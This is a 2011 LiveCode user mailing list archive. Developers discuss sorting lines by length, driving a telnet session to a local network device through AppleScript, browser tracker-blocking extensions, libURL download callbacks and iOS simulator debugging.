<8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com><0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com><8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com><8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com><8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com><5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> Message-ID: <8CE873462DCC402-1124-A94E1@webmail-m145.sysops.aol.com> I'm with you, Mark, but the formal syntax is self consistent. It just is not as friendly as it might be. It should have been a clue when I wrote two other lists, they worked fine. This list came from a small project I was working on, and we can all see now that, depending on the words, you might get a good sort without realizing that pure luck was involved. My two test lists were that lucky. But I understand that a little knowledge is a dangerous thing, even a lot of a little knowledge. Craig -----Original Message----- From: Mark Wieder To: use-livecode Sent: Mon, Dec 12, 2011 9:59 am Subject: Re: sort by length of line (Weird) OK - that's just weird. I see what's going on, but what I'd expect is what (I think) Craig expects - that I'd get a list of the strings sorted by their character lengths. Is there *any* use case in which you'd want strings sorted by the alphabetic representations of their lengths? I can't think of any. To my mind, the "length" modifier should automatically force a numeric sort. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From kray at sonsothunder.com Mon Dec 12 17:27:46 2011 From: kray at sonsothunder.com (Ken Ray) Date: Mon, 12 Dec 2011 16:27:46 -0600 Subject: sort by length of line (Weird) In-Reply-To: References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> Message-ID: On Dec 12, 2011, at 1:56 PM, Mark Wieder wrote: > OK - that's just weird. I see what's going on, but what I'd expect is what (I > think) Craig expects - that I'd get a list of the strings sorted by their > character lengths. > > Is there *any* use case in which you'd want strings sorted by the alphabetic > representations of their lengths? I can't think of any. > > To my mind, the "length" modifier should automatically force a numeric sort. Actually Mark, I think LC is just seeing "the length of each" the same as "length(each)" which is the same as doing a sort by a custom function - ("sort tData by MyFunc(each)"). Regardles, though, I agree with you - LC should probably have more "smarts" about sorting by functions that the engine already *knows* return a numeric result? Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From bonnmike at gmail.com Mon Dec 12 17:29:49 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 12 Dec 2011 15:29:49 -0700 Subject: Running a multiline shell command In-Reply-To: <75226E97-D3B0-492B-A132-AE19D2E1B3EF@twft.com> References: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> <75226E97-D3B0-492B-A132-AE19D2E1B3EF@twft.com> Message-ID: I suspect the behavior you are seeing is because telnet acts like its own shell process, and isn't displaying to stdout of the shell that starts it, but rather is talking to itself. Unlike stuff like grep/etc that display to stdout of the calling shell. Hence seeing the stuff before, and the stuff after but not the stuff once the term connection happens. I think this can be gotten around by opening telnet directly with shell, but then you run into issues. Open process would probably work to run telnet but the applescript definitely looks like its the easiest way. On Mon, Dec 12, 2011 at 12:57 PM, Bob Sneidar wrote: > Well I determined that whatever Livecode is using on a Mac is what the > shell expects for newline characters. I determined this by manually > replacing all newlines in the property inspector (where I keep the shell > code) with whatever the return key produces. I then copied the value from > the property editor and then pasted it into the terminal window. I got > EXACTLY what I expected, that is, the output of the telnet session. > > HOWEVER... When I try to use the Livecode SHELL() to pass the property > that way, the shell command returns: > > Connection closed by foreign host. > > The file contains: > > Trying 172.16.0.121... > Connected to 172.16.0.121. > Escape character is '^]'. > > This tells me that for whatever reason, everything that telnet is saying > is NOT being sent to the file. The file gets everything before telnet kicks > in, and the SHELL() function returns everything AFTER telnet exits, but > everything between is hidden from the shell command. > > Now here is where things get interesting. I opened the applescript > dictionary for terminal, and discovered they had a do script command. > Hmmm... So I fiddled with the editor until I got an applescript that did > essentially the same thing. I ran it, and lo and behold my text file output > of my mac addresses appeared, amidst some garbled stuff, but then I can do > lineoffsets and clean all that up fine. > > Next, I copied the successful code into my Livecode property, and instead > of using the Livecode SHELL() command, I used do myScript as Applescript. > Dammit if it didn't work just fine!! > > So then, I think this establishes that there is some kind of problem with > the way the shell command interacts with the terminal. I would call this a > bug, but I don't know enough about what is going on in the background to do > so. It may be some kind of internal OS security issue, but then why would > Applescript work fine doing essentially the same thing, which is telling > the shell process to run a script? > > Anyway, I have a solution, and others may profit from what I have > discovered. Here is the Applescript I produced: > > copy "telnet 172.16.0.121 >" & quote & "/Users/Shared/scanout.txt" & quote > & return to theScript > copy theScript & "theUser" & return to theScript > copy theScript & "thePassword" & return to theScript > copy theScript & "print " & quote & "show mac-address" & quote & return & > return to theScript > copy theScript & "exit" & return & "exit" & return to theScript > copy theScript & "y" & return & "n" & return to theScript > > tell application "Terminal" > do script theScript > end tell > > Before sending this I replace theUser and thePassword with the actual ones > of course. > > Bob > > > On Dec 10, 2011, at 4:53 AM, Bernard Devlin wrote: > > > Could it be an issue with the "return" character? As you know, they are > > different on each platform. You could try variations between ascii 10 > and > > 13. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bobs at twft.com Mon Dec 12 18:14:41 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 12 Dec 2011 15:14:41 -0800 Subject: Running a multiline shell command In-Reply-To: References: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> <75226E97-D3B0-492B-A132-AE19D2E1B3EF@twft.com> Message-ID: <443C5E4D-3541-422F-89CE-D8B3862FBF2C@twft.com> I may have figured a *hack* way around this, at least when doing a redirected output to a file: repeat with i = 1 to 10 put the detailed files into theFileList filter theFileList with "*scanout.txt*" if theFileList is empty then wait one second with messages next repeat end if if theFileList = theOldFileList then exit repeat end if put theFileList into theOldFileList wait one second with messages put i & return & theFileList & return & theOldFileList end repeat What this does is: 1) Gets the detailed files of the folder I am redirecting the file to 2) Filters the file list for the file I am redirecting to 3) Compares the detailed info to the last time I went through the loop (it should change constantly until it's done) 4) Bails out when the detailed file info equals the last time through the loop. It's ugly but it works a peach. For anyone else trying something like this and doesn't want to work with open process, this may be a good way for them to hack around the issue. I tried doing another redirect *after* the first one, but the applescript commands are asynchronous, meaning they do not stop and wait for a result, at least unless you tell them to, and the terminal is not returning anything to Applescript to indicate that it is finished with the last command. Bob On Dec 12, 2011, at 2:32 PM, Robert Sneidar wrote: > Just one problem with this approach: I cannot tell when the process is finished, because Applescript send the tell to the terminal and then doesn't wait for it to finish (how could it know). The file gets created right away, so checking for it's existence is moot. Doing another redirect afterwards seems to issue the command before the telnet session finishes. > > I may have to do the open process route. > > Bob > > > On Dec 12, 2011, at 11:57 AM, Bob Sneidar wrote: > >> Anyway, I have a solution, and others may profit from what I have discovered. Here is the Applescript I produced: >> >> copy "telnet 172.16.0.121 >" & quote & "/Users/Shared/scanout.txt" & quote & return to theScript >> copy theScript & "theUser" & return to theScript >> copy theScript & "thePassword" & return to theScript >> copy theScript & "print " & quote & "show mac-address" & quote & return & return to theScript >> copy theScript & "exit" & return & "exit" & return to theScript >> copy theScript & "y" & return & "n" & return to theScript >> >> tell application "Terminal" >> do script theScript >> end tell >> >> Before sending this I replace theUser and thePassword with the actual ones of course. >> >> Bob > From rjb at robelko.com Mon Dec 12 18:26:07 2011 From: rjb at robelko.com (Robert Brenstein) Date: Tue, 13 Dec 2011 00:26:07 +0100 Subject: [OT] Ghostery In-Reply-To: <4E396EAE.3030706@hyperactivesw.com> References: <4E394A4E.2010201@fourthworld.com> <4E396EAE.3030706@hyperactivesw.com> Message-ID: On 03.08.2011 at 10:52 Uhr -0500 J. Landman Gay apparently wrote: > >I've been using NoScript for years. Last week I discovered Ghostery. >It lets you know what sites are tracking you and allows you to block >the trackers. I have been appalled by what's been going on without >my knowledge. Some sites have a dozen or more trackers and web bugs >installed. > >-- >Jacqueline Landman Gay | jacque at hyperactivesw.com >HyperActive Software | http://www.hyperactivesw.com Has anyone noticed a memory leak when using Ghostery in Safari? Snow Leopard 10.6.8, Safari 5.1.2. When Ghostery is inactive, the memory stays low for days. With Ghostery, I seem to have a slow leakage which accelates at some point. It might not be Ghostery itself, of course, but some combination of programs but Ghostery is definitely involved. Robert From bobs at twft.com Mon Dec 12 18:53:44 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 12 Dec 2011 15:53:44 -0800 Subject: Filter In-Reply-To: <8CE8699C4D38717-1124-9C3E2@webmail-m145.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <9F6BB081-BBC2-463B-B2A1-5168F93273CF@lacscentre.co.uk> <8CE8699C4D38717-1124-9C3E2@webmail-m145.sysops.aol.com> Message-ID: Worked for me. on mouseUp pMouseBtnNo put field "Field" into myVar sort myVar numeric by the length of each put myVar into field "Field" end mouseUp Bob On Dec 11, 2011, at 8:00 PM, DunbarX at aol.com wrote: > I can do this the long way, but is there a clever sortkey that will sort lines by the length of those lines? > > > In other words, if I have a variable myVar with: > > > aaaaaaa > xxx > bbbb > > > I want to write something like: > > > sort myVar by the length of each > > > to yield: > > > xxx > bbbb > > aaaaaaa > > > Thanks, > > > Craig Newman > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Mon Dec 12 18:56:31 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 12 Dec 2011 15:56:31 -0800 Subject: sort by length of line (Weird) In-Reply-To: References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> Message-ID: <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> It is doing just that, only it's doing a text sort of the numbers: 1 10 100 11 12 etc. He wants a NUMERIC sort of the numbers. Hence sort myVar numeric by the length of each Bob On Dec 12, 2011, at 11:56 AM, Mark Wieder wrote: > OK - that's just weird. I see what's going on, but what I'd expect is what (I > think) Craig expects - that I'd get a list of the strings sorted by their > character lengths. From bobs at twft.com Mon Dec 12 18:59:09 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 12 Dec 2011 15:59:09 -0800 Subject: [OT] Ghostery In-Reply-To: References: <4E394A4E.2010201@fourthworld.com> <4E396EAE.3030706@hyperactivesw.com> Message-ID: Wild turkey guess off the top of my head: Some "web bugs" as Jacque put it do not like being blocked and try to re-establish themselves, and they are what is leaking. Bob On Dec 12, 2011, at 3:26 PM, Robert Brenstein wrote: > On 03.08.2011 at 10:52 Uhr -0500 J. Landman Gay apparently wrote: >> >> I've been using NoScript for years. Last week I discovered Ghostery. It lets you know what sites are tracking you and allows you to block the trackers. I have been appalled by what's been going on without my knowledge. Some sites have a dozen or more trackers and web bugs installed. >> >> -- >> Jacqueline Landman Gay | jacque at hyperactivesw.com >> HyperActive Software | http://www.hyperactivesw.com > > > Has anyone noticed a memory leak when using Ghostery in Safari? Snow Leopard 10.6.8, Safari 5.1.2. When Ghostery is inactive, the memory stays low for days. With Ghostery, I seem to have a slow leakage which accelates at some point. It might not be Ghostery itself, of course, but some combination of programs but Ghostery is definitely involved. > > Robert > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dev at digifilm.com Mon Dec 12 19:18:17 2011 From: dev at digifilm.com (ddas) Date: Mon, 12 Dec 2011 19:18:17 -0500 Subject: Setting the Extended Attribute of iOS files/folders References: Message-ID: <69BBF692-D3F4-4E81-925B-83F2F89FF866@digifilm.com> Hi All, It's been a few days since I brought up this matter. Is there any chance of Revolution supporting setting the extended attributes of ios files/folders any time soon or does it already and I am not aware of it. Thanks, Debdoot From dunbarx at aol.com Mon Dec 12 20:18:26 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Mon, 12 Dec 2011 20:18:26 -0500 (EST) Subject: sort by length of line (Weird) In-Reply-To: <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com><0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com><8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com><8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com><8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com><5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> Message-ID: <8CE874C4002CB32-1124-ABD09@webmail-m145.sysops.aol.com> I wanted a text sort. I see that LC resolves the length function as a number, the length of the line in question loaded into the local variable each. So a word with 10 chars is sorted before a word with 9 chars. It is the loading of "each" that makes this correct, and sensible. Mark, you will agree if you think about it. It isn't a matter of LC being friendly, as I so glibly suggested. Sorting numeric fixes the misunderstanding. I see, more and more, that this is proper behavior for LC, given the strict syntax of the function. I'm OK with it. Craig -----Original Message----- From: Bob Sneidar To: How to use LiveCode Sent: Mon, Dec 12, 2011 1:58 pm Subject: Re: sort by length of line (Weird) It is doing just that, only it's doing a text sort of the numbers: 1 10 100 11 12 etc. He wants a NUMERIC sort of the numbers. Hence sort myVar numeric by the length of each Bob On Dec 12, 2011, at 11:56 AM, Mark Wieder wrote: > OK - that's just weird. I see what's going on, but what I'd expect is what (I > think) Craig expects - that I'd get a list of the strings sorted by their > character lengths. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Mon Dec 12 21:08:20 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 12 Dec 2011 18:08:20 -0800 Subject: sort by length of line (Weird) In-Reply-To: <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com> <0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com> <8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com> <8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com> <8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com> <5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> Message-ID: <102200564140.20111212180820@ahsoftware.net> Bob- Monday, December 12, 2011, 3:56:31 PM, you wrote: > It is doing just that, only it's doing a text sort of the numbers: > 1 > 10 > 100 > 11 > 12 > etc. Yes, and that's just wrong. I can think of no problem for which that is the solution. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Mon Dec 12 21:10:23 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 12 Dec 2011 18:10:23 -0800 Subject: sort by length of line (Weird) In-Reply-To: <8CE874C4002CB32-1124-ABD09@webmail-m145.sysops.aol.com> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com><0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com><8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com><8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com><8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com><5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com> <24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com> <8CE874C4002CB32-1124-ABD09@webmail-m145.sysops.aol.com> Message-ID: <16200686859.20111212181023@ahsoftware.net> Craig- Monday, December 12, 2011, 5:18:26 PM, you wrote: > I'm OK with it. I'm sort of OK with it because there's a simple way to get the desired answer. But I filed bug 9910 requesting the simplified syntax with "numeric" being optional. -- -Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Mon Dec 12 22:22:22 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 12 Dec 2011 21:22:22 -0600 Subject: LibURL short data retrieval Message-ID: <4EE6C4EE.4070007@hyperactivesw.com> I've been using a script for years that downloads files from a folder on my server. It calls a CGI which collects the data and sends it back. Recently it has started behaving oddly. The relevant part of the script: put "http://www.myserver.com/cgi-bin/xxx.mt" into tURL libURLSetStatusCallback "checkStatus", the long ID of me put url tUrl into tData The data is put into a field and when I visually compare it to what is on the server, it looks correct. The data appears to all be there. But a progress bar that measures the download now stops prematurely, indicating the retrieval isn't finishing. I added some logging in the callback message, and I get this: contacted requested loading,2424,15312 loading,5320,15312 loading,9664,15312 loading,11112,15312 downloaded There are no errors, and yet the last part of the data is not retrieved. Since the downloaded data appears to be correct, it almost looks like the total byte count is wrong, but I'm not sure why it would start doing that just within the few weeks. It was working fine for many years. The results are the same when I test in LiveCode 4.2.x and 5.0.x. Anyone know what might cause that? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bogdanoff at me.com Mon Dec 12 22:38:04 2011 From: bogdanoff at me.com (Peter Bogdanoff) Date: Mon, 12 Dec 2011 19:38:04 -0800 Subject: Screen redraw after visual effect Message-ID: <8DDFCB92-51D9-446E-8BFD-852CB57BEBD7@me.com> Hi, Suggestions to redraw the screen after I show a new card with a visual effect? I have a QuickTime audio controller that is showing, and I want to remain showing when I go to another card. The controller disappears after a wipe visual effect and then sort of comes back as the play head moves. Kind of ugly. Thanks! Peter Bogdanoff From scott at tactilemedia.com Mon Dec 12 22:56:13 2011 From: scott at tactilemedia.com (Scott Rossi) Date: Mon, 12 Dec 2011 19:56:13 -0800 Subject: Screen redraw after visual effect In-Reply-To: <8DDFCB92-51D9-446E-8BFD-852CB57BEBD7@me.com> Message-ID: Hi Peter: It sounds like you have content *playing* while a visual effect takes place? I'm not sure how reliable a player is during a visual effect but if it's working for you... No great suggestions come to mind, but a couple of things you could try: - Set the currentTime of the player to the currentTime of the player after the visual effect is finished; perhaps that could cause the player to redraw without changing its current position. - If your stack is not moved around the desktop too much by the user, you could put the player in a separate frameless palette window that overlaps your main stack, so visual effects can occur in the main stack without interrupting the player. If you're locking the entire screen, I think setting the alwaysBuffer of the player is not an option since doing so will treat the player as an object in the stack and likely lock playback while the visual effect takes place. Maybe someone else can offer another suggestion. Regards, Scott Rossi Creative Director Tactile Media, UX Design Recently, Peter Bogdanoff wrote: > Hi, > > Suggestions to redraw the screen after I show a new card with a visual effect? > I have a QuickTime audio controller that is showing, and I want to remain > showing when I go to another card. The controller disappears after a wipe > visual effect and then sort of comes back as the play head moves. Kind of > ugly. > > Thanks! > > Peter Bogdanoff > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Mon Dec 12 23:29:52 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Mon, 12 Dec 2011 23:29:52 -0500 (EST) Subject: Sort by length of line (Rant) In-Reply-To: <16200686859.20111212181023@ahsoftware.net> References: <8CE84BE0A357850-209C-3A628@Webmail-m121.sysops.aol.com><0D815F12-AE3B-4844-A387-536F6E6BE52B@twft.com><8DB9F098-0A5C-48A2-A252-F5C8403A5AE4@gmail.com><8CE869A4CED3E24-1124-9C45B@webmail-m145.sysops.aol.com><8CE8705F9889661-209C-5FE14@Webmail-m121.sysops.aol.com><5855D52C-3A5E-4710-8482-8DE3DC5CE201@economy-x-talk.com><24C3D5FE-3C54-433C-B0D8-D022A60D168F@twft.com><8CE874C4002CB32-1124-ABD09@webmail-m145.sysops.aol.com> <16200686859.20111212181023@ahsoftware.net> Message-ID: <8CE8766FDB04424-1124-AE80D@webmail-m145.sysops.aol.com> Mark. My gut sense was that the sort should do what I wanted, that is, to assemble the list according to the number of chars in each line. But the tool I used, "sort by the length of each", is working correctly. The length of a line resolves to a number, and so you are, in the end, sorting a list of numbers, period. That needs to be sorted numerically to give the required results. We rely on this resolution in all aspects of LC. Even when a "do" construction is needed to implement a task that seems to otherwise read logically, we indulge the language with barely a whimper, and sort of understand a implicate, nested level of resolution that needs to be coaxed out. Even if, and I tried it before posting, you "sort lines by the number of chars of each", you still resolve to numbers. The mental construct has no direct implementation in LC if you think about it, even though at first blush it seems like a natural solution. It is a tribute to the way simple direct ideas in ones head can be translated into LC routines that endears it to me. But the rules rule. So what would be a possible "natural" method? In other words, what would translate the way our minds think? Certainly you could add a "text" sortkey to the command, but this would be a necessary adjunct. and in the end would only tell the engine to sort numerically after all. How about a "width of text in each" given a fixed width font? I can't really think of a "natural" way, can you? Craig -----Original Message----- From: Mark Wieder To: How to use LiveCode Sent: Mon, Dec 12, 2011 4:12 pm Subject: Re: sort by length of line (Weird) Craig- Monday, December 12, 2011, 5:18:26 PM, you wrote: > I'm OK with it. I'm sort of OK with it because there's a simple way to get the desired answer. But I filed bug 9910 requesting the simplified syntax with "numeric" being optional. -- -Mark Wieder mwieder at ahsoftware.net _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Mon Dec 12 23:48:46 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 12 Dec 2011 22:48:46 -0600 Subject: [OT] Ghostery In-Reply-To: References: <4E394A4E.2010201@fourthworld.com> <4E396EAE.3030706@hyperactivesw.com> Message-ID: <4EE6D92E.5080006@hyperactivesw.com> On 12/12/11 5:26 PM, Robert Brenstein wrote: > Has anyone noticed a memory leak when using Ghostery in Safari? Snow > Leopard 10.6.8, Safari 5.1.2. When Ghostery is inactive, the memory > stays low for days. With Ghostery, I seem to have a slow leakage which > accelates at some point. It might not be Ghostery itself, of course, but > some combination of programs but Ghostery is definitely involved. I only run it in FireFox so I can't really say, but I do keep FF open for weeks or more at a time and haven't had any issues. But I know that doesn't prove anything. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From etcawley at fastmail.fm Tue Dec 13 00:42:55 2011 From: etcawley at fastmail.fm (edward cawley) Date: Mon, 12 Dec 2011 23:42:55 -0600 Subject: ios image file names In-Reply-To: References: Message-ID: Jacque, I used your suggestion and got the following : 12/12/11 11:23:43 PM /Users/ecawley/Library/Application Support/iPhone Simulator/4.1/Applications/9D450172-E7E2-4FA3-8C03-E761055E3180/Lawn2.app/Lawn2[6296] <<<< AVController >>>> -[AVController fpItemNotification:sender:]: item with path file://localhost/Users/ecawley/Library/Application%20Support/iPhone%20Simulator/4.1/Applications/9D450172-E7E2-4FA3-8C03-E761055E3180/Lawn2.app/Users/ecawley/Cerastium%20vulgatum-m.mov failed to open with err 2 12/12/11 11:23:50 PM /Users/ecawley/Library/Application Support/iPhone Simulator/4.1/Applications/9D450172-E7E2-4FA3-8C03-E761055E3180/Lawn2.app/Lawn2[6296] <<<< AVController >>>> -[AVController fpItemNotification:sender:]: item with path file://localhost/Users/ecawley/Library/Application%20Support/iPhone%20Simulator/4.1/Applications/9D450172-E7E2-4FA3-8C03-E761055E3180/Lawn2.app/Eleusine%20indica%20.mov failed to open with err 2 I'm not sure what err 2 is and I did not try to open/play The Cerastium movie at this time. Where caan I find a list of the error msg? > > Message: 2 > Date: Sun, 11 Dec 2011 13:55:36 -0600 > From: edward cawley > To: use-livecode at lists.runrev.com > Subject: ios image file names. > Message-ID: <08BB7194-B67F-43D1-9F6C-9C98E224A96C at fastmail.fm> > Content-Type: text/plain; charset=us-ascii > > Two problems. > 1. I've got a problem with image file names. I am developing an app of plant descriptions. It has 42 cards, one for each plant species. Each cd is the same template, the text and images are the only things that change. 40 of the cards work fine but two have a problem with small movies/video clips they don't show but the player is working. The messages are halted for the time the clip should run. I discovered one was stopped because I had a upper case letter in the file name and not in the icontrolset command. Changed the filename( dropped the uppercase letter) and it solved the one problem, but the last cd is still not working. I'm pretty sure it is the same type of problem but how can I see what is happening in the simulator, what is it downloading? I can't check it on the desktop since I get an execution error on the ios control command? > > 2. Slightly different problem, if I start to test the app on the simulator by clicking on the simulator in the menu bar it begins to startup, the simulator shows up and then I get a dialog stating the the app is taking a long time to start up,at that point the app appears and another dialog appears asking if I wish to continue trying or stop. If I click on stop the simulator closes and if I click on yes the dialog box continues to try to start up, even though the app is up and running. If I start up the simulator first and then click on the menu from the desktop app the app starts on the simulator with no problem. Is this a bug or is it the sequence we are supposed to use? I don't remember seeing it in the documents. > > > ------------------------------ > > Message: 3 > Date: Sun, 11 Dec 2011 15:38:00 -0600 > From: "J. Landman Gay" > To: How to use LiveCode > Subject: Re: ios image file names. > Message-ID: <4EE522B8.6060902 at hyperactivesw.com> > Content-Type: text/plain; charset=ISO-8859-1; format=flowed > > On 12/11/11 1:55 PM, edward cawley wrote: >> how can I see what is happening in the >> simulator, what is it downloading? I can't check it on the desktop >> since I get an execution error on the ios control command? > > You can log whatever you need in the simulator, and the output will show > up in the Console application. Whenever you want to see the result of a > command or the value of a variable, use a plain "put": > > put "http://www.whatever.com" into tURL > put tURL -- sends the variable value to Console > > I often create a handler called "log" so that I don't have to track down > and remove all those "puts" later on: > > on log pData > put pData > end log > > Then whenever I need to see output, I just add a "log" command to my > handlers: > > log "Variable value is:" && myVar > > If you don't want all that output showing up in Console in your final > standalone, just comment out the body of the log handler before you > build and nothing will happen. (Don't remove the whole handler or you'll > get a "handler not found" error.) > > Keep Console open at the same time as the simulator, with All Messages > showing. You'll see the "put" commands go scrolling by. You can filter > the output so it's easier to see by filtering for the simulator only, > whose name escapes me right now, but you'll see it. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > From bogdanoff at me.com Tue Dec 13 01:00:04 2011 From: bogdanoff at me.com (Peter Bogdanoff) Date: Mon, 12 Dec 2011 22:00:04 -0800 Subject: Screen redraw after visual effect In-Reply-To: References: Message-ID: <7C5EAABD-7AD2-4B38-AA31-3D981E2FF060@me.com> Yes, audio is playing while the visual effect happens with no audio issues. Setting the currentTime didn't seem to fix the redraw. I do want to keep the controller on the card as there are multiple windows that each may have playing audio of their own. I don't see a redraw command... On Dec 12, 2011, at 7:56 PM, Scott Rossi wrote: > Set the currentTime of the player to the currentTime of the player From revolution at derbrill.de Tue Dec 13 05:54:12 2011 From: revolution at derbrill.de (Malte Brill) Date: Tue, 13 Dec 2011 11:54:12 +0100 Subject: livecode server, postgres In-Reply-To: References: Message-ID: <6BE335B5-BEB3-428E-B781-D02B51CC5F8B@derbrill.de> Hi all, I have no idea why this would fail: It is working on the Mac. It fails on UBUNTU and Windows. Return value is revdberr, invalid database type Is this some sort of case sensitivity the mac is agnostic of? Lost once again... All help much appreciated, Malte From bdrunrev at gmail.com Tue Dec 13 07:00:14 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Tue, 13 Dec 2011 12:00:14 +0000 Subject: Running a multiline shell command In-Reply-To: <443C5E4D-3541-422F-89CE-D8B3862FBF2C@twft.com> References: <2A3ACFA7-B461-4A2C-B038-93541AF922FE@twft.com> <75226E97-D3B0-492B-A132-AE19D2E1B3EF@twft.com> <443C5E4D-3541-422F-89CE-D8B3862FBF2C@twft.com> Message-ID: How about if you set the shellCommand so that instead of pointing to "/bin/sh" it points to "/bin/tcsh", or even have the shellCommand set to point to "/usr/bin/telnet" itself. There are definitely some oddities with OS X and line endings (I seem to remember Mark Schonewille explaining it to me some years back (you can see the oddity by writing out a file in LC with "CR"s at the end of the line, then using "more" in the shell to list the file back (it will have ^M at the end of the lines if I remember correctly). I would imagine that you need to have the same numToChar() characters at the end of your script as would be expected on the device into which you are telnetting. You could also look at using the HEREDOC technique (the code between < wrote: > I may have figured a *hack* way around this, at least when doing a > redirected output to a file: > > repeat with i = 1 to 10 > put the detailed files into theFileList > filter theFileList with "*scanout.txt*" > if theFileList is empty then > wait one second with messages > next repeat > end if > > > if theFileList = theOldFileList then > exit repeat > end if > > put theFileList into theOldFileList > wait one second with messages > put i & return & theFileList & return & theOldFileList > end repeat > > What this does is: > 1) Gets the detailed files of the folder I am redirecting the file to > 2) Filters the file list for the file I am redirecting to > 3) Compares the detailed info to the last time I went through the loop (it > should change constantly until it's done) > 4) Bails out when the detailed file info equals the last time through the > loop. > > It's ugly but it works a peach. For anyone else trying something like this > and doesn't want to work with open process, this may be a good way for them > to hack around the issue. I tried doing another redirect *after* the first > one, but the applescript commands are asynchronous, meaning they do not > stop and wait for a result, at least unless you tell them to, and the > terminal is not returning anything to Applescript to indicate that it is > finished with the last command. > > Bob > > > From roger.e.eller at sealedair.com Tue Dec 13 07:57:12 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Tue, 13 Dec 2011 07:57:12 -0500 Subject: livecode server, postgres In-Reply-To: <6BE335B5-BEB3-428E-B781-D02B51CC5F8B@derbrill.de> References: <6BE335B5-BEB3-428E-B781-D02B51CC5F8B@derbrill.de> Message-ID: On Tue, Dec 13, 2011 at 5:54 AM, 